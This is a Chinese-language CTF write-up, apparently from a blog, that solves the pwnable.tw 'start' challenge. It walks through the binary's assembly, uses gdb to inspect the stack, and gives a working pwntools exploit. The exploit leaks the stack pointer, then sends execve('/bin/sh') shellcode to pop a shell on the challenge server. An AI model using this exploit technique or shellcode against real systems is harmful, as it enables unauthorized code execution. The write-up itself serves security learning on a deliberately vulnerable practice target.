pwntw start writeup 栈溢出利用自身代码

原创

dittozzz 于 2018-12-22 11:03:41 发布 463 收藏 2

分类专栏： pwn pwn 学习之路 文章标签： pwn writeup

本文链接：https://blog.csdn.net/qq_43394612/article/details/85198883

pwn 同时被 2 个专栏收录

23 篇文章 4 订阅

订阅专栏

pwn 学习之路

5 篇文章 5 订阅

订阅专栏

这题利用了栈溢出，将返回地址覆盖为程序本身地址，造成内存泄露。

有个坑是如果你用gdb peda自带的checksec检查防护措施会发现NX是打开的，那么堆栈处的代码无法执行，就无法构造栈里的shellcode，file下

```
wxy@ubuntu:~/Desktop$ file start.elf
start.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically
linked, not stripped
```

发现程序是静态链接的，那就无法利用ret2libc。想了半天也不知道怎么做。就用ubuntu自带的checksec检查下发现

```
wxy@ubuntu:~/Desktop$ checksec start.elf
[*] '/home/wxy/Desktop/start.elf'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
```

根本没有开启NX，可能是gdb的调试环境会影响判断吧。

拿到题目先运行观察下，

```
wxy@ubuntu:~/Desktop$ ./start.elf
Let's start the CTF:aaaaaaaa
```

先显示了一串字符串，然后让你输入字符串就结束了。

放到IDA里看一下：

```
public _start
_start proc near
push    esp
push    offset _exit //这里的退出函数是作者自己写的。
xor     eax, eax
xor     ebx, ebx
xor     ecx, ecx
xor     edx, edx
push    3A465443h
push    20656874h
push    20747261h
push    74732073h
push    2774654Ch
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -
add     esp, 14h
retn
_start endp ; sp-analysis failed
```

程序本身是用汇编写的，f5的代码可读性很低，那就直接读汇编。程序开始处 先push了 ESP，将ESP的值压栈，然后又push了exit函数的地址，再连续push 5个数，此时堆栈情况如下。

黄色的区域即是连续push的5个数。

```
mov     ecx, esp        ; addr
mov     dl, 14h         ; len
mov     bl, 1           ; fd
mov     al, 4
int     80h             ; LINUX - sys_write
```

这段代码进行了linux的系统调用，linux的系统调用都是通过int 0x80来完成的，在int 0x80之前先将参数传进对应寄存器，以及调用的函数的编号传进来。
这里的write函数就是将上面的push进堆栈的5个数字以字符串形式打印出来，即 Let's start the CTF: 这段字符串。
然后是：

```
xor     ebx, ebx
mov     dl, 3Ch
mov     al, 3
int     80h             ; LINUX -
```

这里IDA没有显示是哪个函数，百度了下，得知编号3是read函数。
前面的 `xor ebx, ebx` 将ebx的值清0，应该是fd，即是标准输入，从终端输入。
用gdb调试下，看看从终端读取的字符串占据的是哪里：
在第一个write函数调用完成后下一个断点（从ida可以获知）：

```
0xffffd204 ("Let's start the CTF:\235\200\004\b \322\377\377\001")
0xffffd208 ("s start the CTF:\235\200\004\b \322\377\377\001")
0xffffd20c ("art the CTF:\235\200\004\b \322\377\377\001")
0xffffd210 ("the CTF:\235\200\004\b \322\377\377\001")
0xffffd214 ("CTF:\235\200\004\b \322\377\377\001")
0xffffd218 --> 0x804809d (<_exit>:        pop    esp)
0xffffd21c --> 0xffffd220 --> 0x1
0xffffd220 --> 0x1
```

字符串的开始是 0xffffd204。
下面一直运行到read函数，输入字符串。

```
0xffffd204 ('A' <repeats 35 times>, "\n")
0xffffd208 ('A' <repeats 31 times>, "\n")
0xffffd20c ('A' <repeats 27 times>, "\n")
0xffffd210 ('A' <repeats 23 times>, "\n")
0xffffd214 ('A' <repeats 19 times>, "\n")
0xffffd218 ('A' <repeats 15 times>, "\n")
0xffffd21c ('A' <repeats 11 times>, "\n")
0xffffd220 ("AAAAAAA\n")
```

发现输入的字符串也是从 0xffffd204开始的，那就说明read函数从ESP指向的内存开始存字符串的。
然后是：

```
add     esp, 14h
retn
```

将esp值加上0x14，此时ESP指向

ESP->	addr of exit
	起始ESP
起始ESP	

再ret就执行exit函数，整个程序执行完毕，ret后ESP指向起始ESP。
程序的流程分析完毕，想要执行shellcode就必须知道每次程序运行时的ESP的值。
在程序执行的第一步就是将ESP压栈，如果将这个压栈的ESP值给泄露出来就可以写出通解。
再看这里

```
mov     ecx, esp        ; addr
```

将ESP的值给ecx，write函数就是将ecx指向的字符串打印出来。
而执行完read函数后，ESP恰好指向 起始的ESP，如果将 add of exit 地址覆盖为 `mov ecx, esp ; addr` 的地址就可以泄露出起始ESP的值了，接下来编写exp

```
from pwn import *

a=remote('chall.pwnable.tw',10000)

a.recvuntil("Let's start the CTF:")

shellcode="\x31\xc9\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80"

payload1='A'*20+p32(0x08048087) # return to func of wrire

a.send(payload1)

esp=u32(a.recv(4))

payload2='A'*20+p32(esp+20)+shellcode  #注意最后ESP加上了20后再ret
#，所以这里泄露的ESP也要加20，前面还要有20个垃圾数据填充堆栈，才能将
#shellcode的地址填入正确的位置

a.send(payload2)

a.interactive()
```

这里的shellcode是网上随便复制的。pwntools自带的生成shellcode太长了。
运行脚本即可得到shell。